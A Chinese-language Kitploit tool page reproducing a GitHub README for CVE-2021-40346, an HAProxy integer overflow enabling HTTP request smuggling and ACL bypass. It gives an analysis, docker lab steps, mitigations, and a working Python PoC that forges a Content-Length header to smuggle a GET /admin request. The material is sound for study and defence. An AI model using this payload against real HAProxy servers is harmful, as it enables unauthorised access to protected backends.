Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-40346 — CVE-2021-40346 的 PoC 漏洞利用程序:HAProxy 整数溢出导致 HTTP 请求走私和 ACL 绕过。包含分析、复现步骤和缓解指南。 | Kitploit
工具/GitHubGitHub/jmg0929/cve-2021-40346
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

CVE-2021-40346 的 PoC 漏洞利用程序:HAProxy 整数溢出导致 HTTP 请求走私和 ACL 绕过。包含分析、复现步骤和缓解指南。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-40346 — HAProxy 整数溢出导致 HTTP 请求走私

漏洞概要

  • HAProxy 是一款基于开源的反向代理兼负载均衡器,负责负载均衡及 ACL(访问控制规则)处理等功能的软件。
  • CVE-2021-40346 是 HAProxy 在将 HTTP 头部以内部 HTX 格式存储时,htx_add_header() 函数未验证头部名称(Header Name)长度而导致的访问控制绕过(ACL Bypass)漏洞。
  • 此漏洞仅需将 HTTP 请求中头部名称的长度按特定条件增加,即可让攻击者在后端执行任意请求,操作方式简单但影响范围大,属于高危漏洞。
  • 参考资料:https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

漏洞条件

  • 受影响版本:HAProxy 2.0 及以上 ~ 2.5(含 dev6)以下
  • ACL 配置:前端配置了基于 http-request 的路径访问控制规则(例如 path_beg /admin)——该规则即为绕过目标

分析

HAProxy 在将 HTTP 头部以内部 HTX 格式存储时,会将头部名称长度记录在 8 位(最大 255)字段中。htx_add_header() 函数缺少对该长度的验证逻辑,因此发送大于等于 256 字节的名称时会发生整数溢出,溢出的位会流入相邻的值长度字段。

将头部名称精确构造为 270 字节(270 mod 256 = 14)后,HAProxy 会将其误认为是 "Content-Length"(14 个字符),并将溢出污染的 1 个字节当作值读取。若在该位置放置 "0",则生成 伪造的 Content-Length: 0 头部。

在此伪造头部之后紧跟真实的 Content-Length 头部发送时,HAProxy 会采用先出现的重复头部(伪造的 0)而丢弃真实值。此时,从客户端读取实际正文的过程仍以原始文本为准正常执行,但传递给后端的头部中记录的是伪造的值(0),导致 “实际接收的正文大小”与“通知后端的大小”不一致。

后端相信通知的大小(0)并认为该请求已结束,随后将原本的正文数据重新解释为一个全新的请求。HAProxy 的 ACL 在此之前仅对原始请求行进行检查,因此隐藏的第二个请求在未经 ACL 检查的情况下到达后端。结果,所有配置的 http-request ACL 均被绕过。

环境搭建及复现步骤

  • 执行 docker compose up --build -d 启动包含漏洞的测试环境(haproxy ver.2.2.16 / backend: gunicorn)

  • 通过以下代码测试 HAProxy 与后端服务器是否正常启动

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "就绪"
    
  • 执行 python3 poc.py --host 127.0.0.1 --port 8080 运行 PoC 代码

  • 执行 docker logs cve-2021-40346-backend --tail 5 通过后端访问日志确认 /admin 请求是否被实际处理

PoC 代码

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 将名称构造为 270 字节,可使 8 位名称长度字段溢出,
# 导致 HAProxy 将其误认为是 "Content-Length: 0" 头部。
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

运行结果

运行结果 如上图所示,后端处理了本应被限制访问的 admin 的 GET 请求。

应对措施

  • 版本升级:立即更新至 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 或更高版本 (在 htx_add_header() 中添加了名称/值长度验证逻辑,从根本上修复)
  • 纵深防御:不要仅依赖代理 ACL,后端应用程序自身也应双重实现认证/授权逻辑。
下载工具